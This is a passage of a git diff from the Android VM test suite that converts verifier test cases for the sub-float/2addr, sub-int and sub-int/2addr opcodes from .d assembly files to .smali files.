-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_2.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 3.1415
-       sub-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali
new file mode 100644
index 0000000..84ab5c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 3.1415
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.d
deleted file mode 100644
index 5a5f610..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_3.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 9475928
-       sub-float/2addr v3, v2
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali
new file mode 100644
index 0000000..3fbcbc0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 9475928
+       sub-float/2addr v3, v2
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.d
deleted file mode 100644
index f60a149..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_4.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali
new file mode 100644
index 0000000..528058c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.d
deleted file mode 100644
index 561ed3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_5.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-
-       sub-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali
new file mode 100644
index 0000000..98189d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.d
deleted file mode 100644
index 8d94709..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_6.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali
new file mode 100644
index 0000000..83c0fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.d
deleted file mode 100644
index 019f739..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_1.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       sub-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali
new file mode 100644
index 0000000..7da44d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_1.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.d
deleted file mode 100644
index 2d6c43f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456.0
-       sub-int v0, v2, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali
new file mode 100644
index 0000000..bbdfdee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456.0
+       sub-int v0, v2, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.d
deleted file mode 100644
index 4ff0912..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_3.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456675
-       sub-int v0, v0, v2
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali
new file mode 100644
index 0000000..5eabdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_3.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456675
+       sub-int v0, v0, v2
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.d
deleted file mode 100644
index f3b57fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_4.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       sub-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali
new file mode 100644
index 0000000..af83327
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_4.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.d
deleted file mode 100644
index f813789..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_5.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-
-       sub-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali
new file mode 100644
index 0000000..3d1bc31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_5.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       sub-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.d
deleted file mode 100644
index b45a470..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_6.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       sub-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali
new file mode 100644
index 0000000..6b736ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_6.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.d
deleted file mode 100644
index 203da0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_1.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       sub-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali
new file mode 100644
index 0000000..25875ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.d
deleted file mode 100644
index e3e5cab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
